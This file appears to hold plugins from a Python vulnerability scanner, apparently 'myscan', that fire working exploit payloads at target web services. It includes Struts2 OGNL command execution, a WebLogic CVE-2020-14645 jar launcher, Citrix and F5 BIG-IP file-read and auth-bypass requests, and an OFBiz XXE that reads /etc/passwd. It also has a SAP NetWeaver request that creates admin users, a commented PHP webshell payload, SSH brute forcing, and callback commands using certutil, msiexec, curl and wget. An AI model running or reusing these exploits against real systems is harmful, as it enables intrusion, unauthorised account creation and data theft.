def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in [ "do", "action", "" ]: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") rs1 = get_random_str(4) rs2 = get_random_str(4) random_str = "{} {}".format(rs1, rs2) if params: for param in params: payload = "(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo " + random_str + "').getInputStream()))" req = self.parser.getreqfromparam(param, "w", payload) r1 = request(**req) if r1 != None and check_echo(r1.content, rs1, rs2): parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "commond": "echo {}".format(random_str), "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def check_reverse(): ver = platform.system() dns_random_str = "myscan_dnstest_" + get_random_str(10) http_random_str = "myscan_httptest_" + get_random_str(10) domain = "{}.{}".format(dns_random_str, reverse_set.get("reverse_domain")) url = "http://{}:{}/?d={}".format(reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), http_random_str) logger.info( "Will exec ping ,nslookup,mshta,curl,wget to test server , it will take around 20s" ) if ver.lower() == "windows": cmd = "ping -n 2 {}>nul & nslookup {} >nul & mshta {}".format( domain, domain, url) else: cmd = "ping -c 2 {} 2>&1 >/dev/null & nslookup {} 2>&1 >/dev/null & curl {} 2>&1 >/dev/null & wget {} --output-document=/dev/null".format( domain, domain, url, url) logger.info("Start exec cmd:{}".format(cmd)) run_cmd(cmd) res_http = query_reverse(http_random_str) res_dns = query_reverse(domain, False) # 此处需添加rmi 服务的检测代码,需本地模拟一个rmi的client if res_http[0]: logger.critical("Client connect http reverse server: Success") else: logger.warning("Client connect http reverse server: Fail") if res_dns[0]: logger.critical("Client connect dns reverse server: Success") else: logger.warning("Client disconnect dns reverse server: Fail")
def verify(self): if not self.check_rule(self.dictdata, self.require): # 检查是否满足测试条件 return # 判断weblogic if "weblogic" not in "".join(self.dictdata.get("service").values()).lower(): return jarfile = os.path.join(paths.MYSCAN_HOSTSCAN_BIN, "weblogic", "CVE-2020-14645.jar") ldapaddr, ldaphexdata = generate(self.addr + get_random_str(6), "ldap") _, dnshexdata = generate(self.addr + get_random_str(6), "dns") protocol = "https" if "https" in "".join(self.dictdata.get("service").keys()) else "http" start_process(["java", "-jar", jarfile, ldapaddr.replace("ldap://", "", 1), "{protocol}://{addr}:{port}/".format(protocol=protocol, **self.dictdata)]) start_process(["java", "-jar", jarfile, dnshexdata, "{protocol}://{addr}:{port}/".format(protocol=protocol, **self.dictdata)]) for i, hexdata in enumerate((ldaphexdata, dnshexdata)): sleep = True if i == 0 else False res, data = query_reverse(hexdata, sleep) if res: self.result.append({ "name": self.name, "url": "tcp://{}:{}".format(self.addr, self.port), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "found {} in reverse log ".format(hexdata) } }) break
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return user = get_random_str(6).lower() pass_ = get_random_str(6).lower() req = { "method": "POST", "url": self.url + "pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1", "headers": { "Content-Type": "application/xml", "X-NITRO-USER": user, "X-NITRO-PASS": pass_, }, "data": "<appfwprofile><login></login></appfwprofile>", "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r is not None and r.status_code == 406 and re.search( "SESSID=\w{32}", r.headers.get("Set-Cookie", "")): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": req.get("url"), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return reverseurl, hexdata1 = generate(get_random_str(10).lower(), "http") _, hexdata2 = generate(get_random_str(10).lower(), "dns") for reverse in [reverseurl, "http://" + hexdata2]: req = { "url": self.url + "proxy.stream?origin={}".format(reverse), "method": "GET", "headers": { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" }, "verify": False, "timeout": 10, } r = request(**req) sleep = True for hexdata in [hexdata1, hexdata2]: res, resdata = query_reverse(hexdata, sleep) sleep = False if res: self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "path": "proxy.stream?origin={reverseurl}", "others": "{} in reverse db".format(hexdata), } }) break
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return self.parser = dictdata_parser(self.dictdata) filename = get_random_str(4) + ".txt" random_str = get_random_str(10) # payload = "http|echo \"<?php echo(passthru(\\$_GET['cmd']));?>\" >> /usr/www/" + shell_filename + " && chmod +x /usr/www/" + shell_filename + "||" payload = "http|echo \"" + random_str + "\" >> /usr/www/" + filename + " && chmod +x /usr/www/" + filename + "||" req = { "method": "GET", "url": self.url + "include/makecvs.php?Event=" + payload, "verify": False, "timeout": 10, } r = request(**req) time.sleep(1) if r is not None and r.status_code == 200 and b"Service,DateTime" in r.content: req["url"] = self.url + filename r1 = request(**req) if r1 is not None and random_str.encode() in r1.content: parser1 = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "you can upload your webshell", "request": parser1.getrequestraw(), "response": parser1.getresponseraw() } })
def verify(self): if not self.check_rule(self.dictdata, self.require): # 检查是否满足测试条件 return pwdfile = os.path.join("brute", "ssh_pass") userfile = os.path.join("brute", "ssh_user") pwds = [""] pwds += get_data_from_file( os.path.join(paths.MYSCAN_DATA_PATH, pwdfile)) users = get_data_from_file( os.path.join(paths.MYSCAN_DATA_PATH, userfile)) userpass = [] for user in users: for pwd in pwds: userpass.append((user, pwd)) userpass_ = [("oracle", "oracle"), ("postgresql", "postgresql")] userpass += userpass_ # patch_banner_timeout() if "Authentication failed" in self.crack_ssh( (get_random_str(6).lower(), get_random_str(6).lower())): mythread(self.crack_ssh, userpass, 1) if self.right_pwd is not None: self.result.append({ "name": self.name, "url": "tcp://{}:{}".format(self.addr, self.port), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "user/pwd": "/".join(self.right_pwd) } })
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in [ "", "do", "action" ]: return headers = copy.deepcopy(self.dictdata.get("request").get("headers")) rs1 = get_random_str(4) rs2 = get_random_str(4) random_str = "{} {}".format(rs1, rs2) payloads = [ r"%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=echo%20" + random_str, r"%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23wr.print(%23parameters.content%5B0%5D),%23wr.print(%23parameters.content%5B1%5D),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=<Struts2-vuln-&content=Check>" ] checks = [random_str, "<Struts2-vuln-Check>"] headers['Content-Type'] = 'application/x-www-form-urlencoded' for payload in payloads: req = { "url": self.url + payload, "method": "GET", "headers": headers, } r = request(**req) if r != None: for check in checks: if check == random_str: if check_echo(r.content, rs1, rs2): self.save(r) return else: if check.encode() in r.content: self.save(r) return
def runit(self, path): filename = get_random_str(9).lower() + ".txt" content = get_random_str(9).lower() payload = base64.b64encode('''`echo {} > {}`'''.format(content, filename).encode()).decode() req = { "method": "GET", "url": self.url + "objects/{path}.php?base64Url={payload}&format=jpg".format(path=path, payload=payload), "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and r.status_code == 200: req["url"] = self.url + "objects/" + filename r1 = request(**req) if r1 is not None and content.encode() in r1.content: parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.3", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "text/xml;charset=UTF-8", "Connection": "close", "Upgrade-Insecure-Requests": "1" } req = { "method": "GET", "url": self.url + "CTCWebService/CTCWebServiceBean?wsdl", "headers": headers, # 主要保留cookie等headers "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r is not None and r.status_code == 200 and b"urn:CTCWebServiceSi" in r.content: user = get_random_str(6).lower() pwd = get_random_str(10).lower() _payload = "<root> <user> <JavaOrABAP>java</JavaOrABAP> <username>" + str( user) + "</username> <password>" + str( pwd ) + "</password> <userType></userType> </user></root>" _payload = base64.b64encode(_payload.encode()).decode() _data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\"> <soapenv:Header/> <soapenv:Body> <urn:executeSynchronious> <identifier> <component>sap.com/tc~lm~config~content</component> <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path> </identifier> <contextMessages> <baData>" + str( _payload ) + "</baData> <name>userDetails</name> </contextMessages> </urn:executeSynchronious> </soapenv:Body></soapenv:Envelope>" req["method"] = "POST" req["data"] = _data r1 = request(**req) if r1 is not None and r1.status_code == 200 and b"urn:CTCWebServiceSi" in r1.content: parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "otbers": " Add User/Password : {}/{} , login at:{}".format( user, pwd, self.url + "nwa"), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return uploadHeader = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Content-Type": "multipart/form-data;", "Referer": "https://google.com" } filename = "{}.jsp".format(get_random_str(4).lower()) uploadData = r"\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74".replace( r"\x", "") uploadData += binascii.b2a_hex(struct.pack(">H", len(filename))).decode() uploadData += binascii.b2a_hex(filename.encode()).decode() uploadData += r"\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78".replace( r"\x", "") shellFlag = get_random_str(10) # you can put a shell in here uploadData += binascii.b2a_hex(shellFlag.encode()).decode() req = { "url": self.url + "servlet/FileReceiveServlet", "method": "POST", "headers": uploadHeader, "verify": False, "allow_redirects": False, "data": binascii.a2b_hex(uploadData.encode()), "timeout": 10, } r = request(**req) if r is not None and r.status_code == 200: req1 = { "url": self.url + filename, "method": "GET", "headers": uploadHeader, "verify": False, "allow_redirects": False, "timeout": 10, } r1 = request(**req1) if r1 is not None and shellFlag.encode() in r1.content: parse1 = response_parser(r) parse2 = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request1": parse1.getrequestraw(), "response1": parse1.getresponseraw(), "request2": parse2.getrequestraw(), "response2": parse2.getresponseraw(), } })
def generate_reverse_payloads(urlpath, type="http"): ''' urlpath: string or bytes, url's path or others you wanto paste infos,don't contains url args ,it will to longs ,like http://www.test.com/admin/login type : string ,accept http,dns,rmi,ldap return ([cmd1,cmd2],payload) ''' # if "?" in urlpath: # urlpath = urlpath.split("?", 1)[0] if isinstance(urlpath, str): urlpath = urlpath.encode() payloads = { "http": [ "certutil -urlcache -split -f {url}", "msiexec /q /i {url}", "curl {url}", "wget {url}" ], "dns": ["ping -n 2 {domain}", "ping -c 2 {domain}", "nslookup {domain}"], "rmi": ["rmi://{}:{}/{}"], "ldap": ["ldap://{}:{}/{}"], } reverse_payloads = [] hexdata = "" if type == "http": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() for payload in payloads["http"]: reverse_payloads.append( payload.format(url="http://{}:{}/?d={}".format( reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), hexdata))) elif type == "dns": hexdata = getrealdnsdata(urlpath) for payload in payloads["dns"]: reverse_payloads.append(payload.format(domain=hexdata)) elif type == "rmi": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() for payload in payloads["rmi"]: reverse_payloads.append( payload.format(reverse_set.get("reverse_rmi_ip"), reverse_set.get("reverse_rmi_port"), hexdata)) elif type == "ldap": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() for payload in payloads["ldap"]: reverse_payloads.append( payload.format(reverse_set.get("reverse_ldap_ip"), reverse_set.get("reverse_ldap_port"), hexdata)) return (reverse_payloads, hexdata)
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 randompath = get_random_str(4).lower() randomtext = get_random_str(10) req = { "method": "PUT", "url": self.url + randompath, "data": randomtext, "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 201: req1 = { "method": "GET", "url": self.url + randompath, "timeout": 10, "allow_redirects": False, "verify": False, } r1 = request(**req1) if r1 != None and randomtext.encode() in r1.content: parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "others": "可以PUT上传文件,且能成功访问", "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) return parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": 0, # 0:Low 1:Medium 2:High "detail": { "others": "根据状态码显示可以PUT上传,但是访问不成功", "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def generate(urlpath, type="http"): if isinstance(urlpath, str): urlpath = urlpath.encode() if type == "dns": hexdata = getrealdnsdata(urlpath) return None, hexdata # will like None,rvzf74657374.log.evilhex.top elif type == "http": ''' 参数携带,根目录下的d参数,如/?d=asdadadffa,通过asdadadffa可查询。 ''' hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() ''' return like: http://www.baidu.com?d=aaaasdfasd ,aaaasdfasd ''' return "http://{}:{}/?d={}".format( reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), hexdata), hexdata elif type == "http2": ''' 路径携带,必须以myscan_开头,如 /myscan_oaldj2n.xml ,这样的路径才会入库,通过myscan_oaldj2n.xml可查询。 ''' hexdata = "myscan_" + get_random_str(4).lower() + urlpath.decode() ''' return like: http://www.baidu.com?d=aaaasdfasd ,aaaasdfasd ''' return "http://{}:{}/{}".format(reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), hexdata), hexdata elif type == "rmi": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() ''' return like:rmi://1.1.1.1:999/test,test ''' return "rmi://{}:{}/{}".format(reverse_set.get("reverse_rmi_ip"), reverse_set.get("reverse_rmi_port"), hexdata), hexdata elif type == "ldap": hexdata = get_random_str(4).lower() + binascii.b2a_hex( urlpath).decode() ''' return like:ldap://1.1.1.1:999/test,test ''' return "ldap://{}:{}/{}".format(reverse_set.get("reverse_ldap_ip"), reverse_set.get("reverse_ldap_port"), hexdata), hexdata
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return r1 = get_random_str(6) req = { "method": "POST", "url": self.url + "menu/stapp", "headers": { "Content-Type": "application/x-www-form-urlencoded", "Referer": "http://localhost" }, "data": '''sid=254&pe=1%2C2%2C3%2C4%2C5&appname=%0D%0A%3C%2Ftitle%3E%3Cscript%3Ealert%28{r1}%29%3B%3C%2Fscript%3E&au=1&username=nsroot'''.format( r1=r1), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and '<script>alert({});</script></title>'.format(r1).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": req.get("url"), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return rand_s = get_random_str(5) req = { "method": "POST", "url": self.url + "webtools/control/xmlrpc", "headers": { "Content-Type": "application/xml" }, "data": '''<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>''', "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and r.status_code == 200 and re.search( "root:[x*]:0:0:", r.text): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return r1 = get_random_str(6) req = { "method": "POST", "url": self.url + "tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp", "headers": { "Content-Type": "application/x-www-form-urlencoded", }, "data": '''fileName=%2Fetc%2Ff5-release''', "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and b"BIG-IP release" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": req.get("url"), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: value = urlparse.unquote(param.get("value")) test = False if self.isneedtest(param) and not re.search( "^http[s]?://", value): test = True value = "{protocol}://{host}".format( **self.dictdata.get("url")) if re.search("^http[s]?://", value) or test: host = urlparse.urlparse(value).netloc.split(":")[0] info = "ssrf_" + get_random_str(5) payloads = [] for method in ["http", "dns"]: url, hexdata = self.generatepayload(info, method) payloads.append((url, hexdata)) for url_ in set([ url, "{}#@{}".format( url, self.parser.url.get("host")), # 利用#绕过 "{}#@{}".format(url, host), ]): req = self.parser.getreqfromparam(param, "w", url_) r = request(**req) self.querytosave(payloads, param)
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_file = get_random_str(5).lower() req = { "method": "GET", "url": self.url + "plugins/weathermap/editor.php?plug=0&mapname={}.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7".format( random_file), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200: req["url"] = self.url + "plugins/weathermap/configs/{}.php".format(random_file) r1 = request(**req) if r1 != None and r1.status_code == 200 and b"46ea1712d4b13b55b3f680cc5b8b54e8" in r1.content: parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in [ "do", "action", "" ]: return headers = copy.deepcopy(self.dictdata.get("request").get("headers")) random_str = get_random_str(6) payloads = [ r"%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=echo%20" + random_str, ] headers['Content-Type'] = 'application/x-www-form-urlencoded' for payload in payloads: req = { "url": self.url + payload, "method": "GET", "headers": headers, } r = request(**req) if r != None: if re.search(("[^(echo)][^ (%20)]{}|^\s*{}\s*$".format( random_str, random_str)).encode(), r.content): self.save(r) return
def is_wildcard_dns(domain, istopdomain=False, level=1): ''' domain: like baidu.com or www.baidu.com topdomain: True--> domain is baidu.com,False--> domain is www.baidu.com return : True: False: None: error ''' if not istopdomain: domain = ".".join(domain.split(".")[1:]) if domain == "": return None # red = getredis() key = getmd5(domain) if red.sismember("dns_wildcard_true", key): return True if red.sismember("dns_wildcard_false", key): return False try: r = dns.resolver.Resolver(configure=False) r.nameservers = others.dns_servers answers = r.query('myscan-not-%s-test.%s' % (get_random_str(4).lower(), domain)) ips = ', '.join(sorted([answer.address for answer in answers])) if level == 1: wildcard_test('any-sub-to.%s' % domain, istopdomain, 2) elif level == 2: red.sadd("dns_wildcard_true", key) return True except Exception as e: red.sadd("dns_wildcard_false", key) return False
def verify(self): # 添加限定条件 if "." + self.dictdata.get("url").get( "extension").lower() not in acceptedExt: return dirname = self.dictdata.get("url").get("path_folder") basename = os.path.basename(self.dictdata.get("url").get("path", "")) rand = get_random_str(6).lower() paths = [{ "real": os.path.join(dirname, "." + basename + ".swp"), "fake": os.path.join(dirname, "." + rand + basename + ".swp") }, { "real": os.path.join(dirname, basename + "~"), "fake": os.path.join(dirname, rand + basename + "~") }] req = { "method": "GET", "url": "", "timeout": 10, "verify": False, "allow_redirects": False, } for path in paths: req["url"] = path.get("real") r = request(**req) if r is not None and r.status_code == 200 and "/html" not in r.headers.get( "Content-Type", ""): req["url"] = path.get("fake") r_fake = request(**req) if r_fake is not None and similar(r.content, r_fake.content) < 0.8: self.save(r)
def reverse_start(): try: secret_key = reverse_set.get("secret_key") if not secret_key: secret_key = get_random_str(9) logger.info("Reverse http server: http://{}:{} secret_key: {}".format( reverse_set.get("reverse_http_ip"), reverse_set.get("reverse_http_port"), secret_key)) logger.info("Reverse dns server: {}".format( reverse_set.get("reverse_domain"))) logger.info("Reverse rmi server: {}:{}".format( reverse_set.get("reverse_rmi_ip"), reverse_set.get("reverse_rmi_port"))) logger.info("Reverse ldap server: {}:{}".format( reverse_set.get("reverse_ldap_ip"), reverse_set.get("reverse_ldap_port"))) init_db() try: p = Process(target=http_start, args=(secret_key, )) p.daemon = True p.start() p1 = Process(target=rmi_start) p1.daemon = True p1.start() p2 = Process(target=ldap_start) p2.daemon = True p2.start() dns_start() except KeyboardInterrupt as ex: logger.warning("Ctrl+C was pressed ,aborted program") except Exception as ex: logger.warning("Start reverse get error:{}".format(ex)) sys.exit()
def send_poc(self, shirokey): _, hexdata = generate(get_random_str(6), "dns") self.querykeys[hexdata] = shirokey cookie = "rememberMe={}".format( self.encode_rememberme(hexdata, shirokey)) req = self.parse.generaterequest({"headers": {"Cookie": cookie}}) r = request(**req)
def genpayload(self, value, length=3): value = urlparse.unquote(value).strip() if re.search("^http[s]?://", value): p = urlparse.urlparse(value) port = "" if ":" in p.netloc: netloc_, port = p.netloc.split(":", 1) port = ":" + port else: netloc_ = p.netloc random_str = get_random_str(length).lower() if netloc_.count(".") < 2: newnetloc = netloc_ + ".{}com.cn".format(random_str) else: newnetloc = netloc_ + "." + random_str + ".".join(netloc_.split(".")[-2:]) newvalue = [] newvalue.append("{}://{}#@{}{}".format(p.scheme, newnetloc, p.netloc, p.path)) newvalue.append("{}://{}{}".format(p.scheme, newnetloc, port)) return newvalue, random_str else: # return ["myscantest." + value + "." + get_random_str(length).lower()], "myscantest" return ["myscantest." + value, "http://myscantest." + value, "http://myscantest.{}.#{}".format(value, self.dictdata.get("url").get("host"))], \ "myscantest"
def verify(self): if not self.dictdata.get("request").get( "content_type") == 4: # data数据类型为json return parse = dictdata_parser(self.dictdata) if not self.can_output(parse.getrootpath() + self.name): # 限定只输出一次 return payload_ = '''{"%(random_str)s": {"@type": "java.net.Inet4Address", "val": "%(domain)s"}}''' random_str = get_random_str(6).lower() _, domain_ = generate(parse.getfilepath(), "dns") payload = payload_ % {"random_str": random_str, "domain": domain_} req = parse.generaterequest({"data": payload}) r = request(**req) if r is not None: res, res_data = query_reverse(domain_) if res: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "{} in dnslog".format(domain_), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) self.can_output(parse.getrootpath() + self.name, True) return
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in [ "do", "action" ]: return self.parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") random_str = get_random_str(6) headers = copy.deepcopy(self.dictdata.get("request").get("headers")) headers['Content-Type'] = 'application/x-www-form-urlencoded' if params: for param in params: payload = "(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('echo " + random_str + "').getInputStream()))" req = self.parser.getreqfromparam(param, "w", payload) r = request(**req) if r != None: if re.search( "[^(echo)][^ (%20)]{}|^\s*{}\s*$".format( random_str, random_str).encode(), r.content): parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl().split("?")[0], "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw(), } })
def saveResult(self): for result in self.result: if not isinstance(result, dict): logger.warning("Poc (python script) result error,it's a dict .") return url_default = "" if cmd_line_options.command == "webscan": url_default = self.workdata.get("dictdata").get("url").get("url") elif cmd_line_options.command == "hostscan": url_default = "{type}://{addr}:{port}".format(**self.workdata.get("dictdata")) result_data = { "name": result.get("name", os.path.splitext(os.path.split(self.poc)[-1])[0]), "url": result.get("url", url_default), "level": result.get("level", "-1"), "createtime": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), "detail": { } } if result.get("detail", None) and isinstance(result.get("detail"), dict): result_data["detail"] = result.get("detail") else: result_data["detail"] = {"noshow": "no details"} random_id = get_random_str(9) self.red.set("result_" + random_id, pickle.dumps(result_data)) self.red.lpush("vuln_" + result_data["name"].replace(" ", "_"), "result_" + random_id) self.red.lpush("vuln_all", "result_" + random_id) self.red.lpush("vuln_all_write", "result_" + random_id) # 保存结果 for k, v in result_data.get("detail").items(): if str(k).lower().startswith("request") or str(k).lower().startswith("response"): if str(v).__len__() > 1000: result_data.get("detail")[k] = str(v)[:500] + " ..." logger.critical(result_data)
